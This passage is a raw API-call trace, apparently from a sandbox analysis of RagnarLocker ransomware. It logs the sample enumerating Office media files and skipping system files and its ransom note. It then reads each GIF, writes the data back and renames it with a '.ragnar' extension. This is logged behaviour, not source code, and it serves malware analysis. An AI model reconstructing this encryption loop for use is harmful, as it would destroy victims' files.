[0099.882] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x113, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.882] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x113, lpOverlapped=0x0) returned 1 [0099.882] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x113, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.882] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.882] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x113, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.882] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.882] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.882] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.882] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.882] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.882] GetProcessHeap () returned 0x580000 [0099.883] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.883] CloseHandle (hObject=0x10c) returned 1 [0099.883] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21316_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21316_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21316_.GIF" [0099.883] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21316_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21316_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21316_.GIF.ragnar_FD7BD9FC" [0099.883] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21316_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21316_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21316_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21316_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.883] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cc3e500, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2cc3e500, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21327_.GIF", cAlternateFileName="")) returned 1 [0099.883] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.884] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21327_.GIF" | out: lpString1="BD21327_.GIF") returned="BD21327_.GIF" [0099.884] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21327_.GIF") returned=".GIF" [0099.884] lstrcmpiW (lpString1="BD21327_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.884] lstrcmpiW (lpString1="BD21327_.GIF", lpString2="autorun.inf") returned 1 [0099.884] lstrcmpiW (lpString1="BD21327_.GIF", lpString2="boot.ini") returned -1 [0099.884] lstrcmpiW (lpString1="BD21327_.GIF", lpString2="bootfont.bin") returned -1 [0099.884] lstrcmpiW (lpString1="BD21327_.GIF", lpString2="bootsect.bak") returned -1 [0099.884] lstrcmpiW (lpString1="BD21327_.GIF", lpString2="bootmgr") returned -1 [0099.884] lstrcmpiW (lpString1="BD21327_.GIF", lpString2="bootmgr.efi") returned -1 [0099.884] lstrcmpiW (lpString1="BD21327_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.884] lstrcmpiW (lpString1="BD21327_.GIF", lpString2="desktop.ini") returned -1 [0099.884] lstrcmpiW (lpString1="BD21327_.GIF", lpString2="iconcache.db") returned -1 [0099.884] lstrcmpiW (lpString1="BD21327_.GIF", lpString2="ntldr") returned -1 [0099.884] lstrcmpiW (lpString1="BD21327_.GIF", lpString2="ntuser.dat") returned -1 [0099.884] lstrcmpiW (lpString1="BD21327_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.884] lstrcmpiW (lpString1="BD21327_.GIF", lpString2="ntuser.ini") returned -1 [0099.884] lstrcmpiW (lpString1="BD21327_.GIF", lpString2="thumbs.db") returned -1 [0099.884] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.884] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.884] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.884] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.884] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.884] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.884] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21327_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21327_.gif")) returned 0x20 [0099.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21327_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21327_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.885] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=174) returned 1 [0099.885] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xa5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.885] GetProcessHeap () returned 0x580000 [0099.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.885] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.886] VirtualAlloc (lpAddress=0x0, dwSize=0xae, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.886] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.886] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.887] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xae, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xae, lpOverlapped=0x0) returned 1 [0099.887] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.887] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xae, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.887] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xae, lpOverlapped=0x0) returned 1 [0099.887] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xae, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.887] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.887] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.887] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.887] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.887] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.887] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.887] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.887] GetProcessHeap () returned 0x580000 [0099.887] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.888] CloseHandle (hObject=0x10c) returned 1 [0099.888] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21327_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21327_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21327_.GIF" [0099.888] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21327_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21327_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21327_.GIF.ragnar_FD7BD9FC" [0099.888] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21327_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21327_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21327_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21327_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.889] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29305e00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29305e00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x131, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21329_.GIF", cAlternateFileName="")) returned 1 [0099.889] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.889] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21329_.GIF" | out: lpString1="BD21329_.GIF") returned="BD21329_.GIF" [0099.889] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21329_.GIF") returned=".GIF" [0099.889] lstrcmpiW (lpString1="BD21329_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.889] lstrcmpiW (lpString1="BD21329_.GIF", lpString2="autorun.inf") returned 1 [0099.889] lstrcmpiW (lpString1="BD21329_.GIF", lpString2="boot.ini") returned -1 [0099.889] lstrcmpiW (lpString1="BD21329_.GIF", lpString2="bootfont.bin") returned -1 [0099.889] lstrcmpiW (lpString1="BD21329_.GIF", lpString2="bootsect.bak") returned -1 [0099.889] lstrcmpiW (lpString1="BD21329_.GIF", lpString2="bootmgr") returned -1 [0099.889] lstrcmpiW (lpString1="BD21329_.GIF", lpString2="bootmgr.efi") returned -1 [0099.889] lstrcmpiW (lpString1="BD21329_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.889] lstrcmpiW (lpString1="BD21329_.GIF", lpString2="desktop.ini") returned -1 [0099.889] lstrcmpiW (lpString1="BD21329_.GIF", lpString2="iconcache.db") returned -1 [0099.889] lstrcmpiW (lpString1="BD21329_.GIF", lpString2="ntldr") returned -1 [0099.889] lstrcmpiW (lpString1="BD21329_.GIF", lpString2="ntuser.dat") returned -1 [0099.889] lstrcmpiW (lpString1="BD21329_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.889] lstrcmpiW (lpString1="BD21329_.GIF", lpString2="ntuser.ini") returned -1 [0099.889] lstrcmpiW (lpString1="BD21329_.GIF", lpString2="thumbs.db") returned -1 [0099.890] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.890] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.890] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.890] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.890] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.890] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.890] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21329_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21329_.gif")) returned 0x20 [0099.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21329_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21329_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.890] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=305) returned 1 [0099.890] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x128, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.890] GetProcessHeap () returned 0x580000 [0099.890] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.890] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.891] VirtualAlloc (lpAddress=0x0, dwSize=0x131, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.891] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.891] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.891] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x131, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x131, lpOverlapped=0x0) returned 1 [0099.892] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.892] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x131, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.892] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x131, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x131, lpOverlapped=0x0) returned 1 [0099.892] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x131, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.892] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.892] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x131, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.892] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.892] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.892] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.892] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.892] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.892] GetProcessHeap () returned 0x580000 [0099.892] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.892] CloseHandle (hObject=0x10c) returned 1 [0099.893] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21329_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21329_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21329_.GIF" [0099.893] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21329_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21329_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21329_.GIF.ragnar_FD7BD9FC" [0099.893] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21329_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21329_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21329_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21329_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.893] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x259cd700, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x259cd700, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21331_.GIF", cAlternateFileName="")) returned 1 [0099.893] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.893] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21331_.GIF" | out: lpString1="BD21331_.GIF") returned="BD21331_.GIF" [0099.893] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21331_.GIF") returned=".GIF" [0099.893] lstrcmpiW (lpString1="BD21331_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.893] lstrcmpiW (lpString1="BD21331_.GIF", lpString2="autorun.inf") returned 1 [0099.894] lstrcmpiW (lpString1="BD21331_.GIF", lpString2="boot.ini") returned -1 [0099.894] lstrcmpiW (lpString1="BD21331_.GIF", lpString2="bootfont.bin") returned -1 [0099.894] lstrcmpiW (lpString1="BD21331_.GIF", lpString2="bootsect.bak") returned -1 [0099.894] lstrcmpiW (lpString1="BD21331_.GIF", lpString2="bootmgr") returned -1 [0099.894] lstrcmpiW (lpString1="BD21331_.GIF", lpString2="bootmgr.efi") returned -1 [0099.894] lstrcmpiW (lpString1="BD21331_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.894] lstrcmpiW (lpString1="BD21331_.GIF", lpString2="desktop.ini") returned -1 [0099.894] lstrcmpiW (lpString1="BD21331_.GIF", lpString2="iconcache.db") returned -1 [0099.894] lstrcmpiW (lpString1="BD21331_.GIF", lpString2="ntldr") returned -1 [0099.894] lstrcmpiW (lpString1="BD21331_.GIF", lpString2="ntuser.dat") returned -1 [0099.894] lstrcmpiW (lpString1="BD21331_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.894] lstrcmpiW (lpString1="BD21331_.GIF", lpString2="ntuser.ini") returned -1 [0099.894] lstrcmpiW (lpString1="BD21331_.GIF", lpString2="thumbs.db") returned -1 [0099.894] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.894] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.894] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.894] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.894] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.894] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.894] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21331_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21331_.gif")) returned 0x20 [0099.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21331_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21331_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.896] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1120) returned 1 [0099.896] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x457, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.896] GetProcessHeap () returned 0x580000 [0099.896] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.896] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.928] VirtualAlloc (lpAddress=0x0, dwSize=0x460, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.929] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.929] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.929] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x460, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x460, lpOverlapped=0x0) returned 1 [0099.929] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.929] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x460, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.929] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x460, lpOverlapped=0x0) returned 1 [0099.929] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, 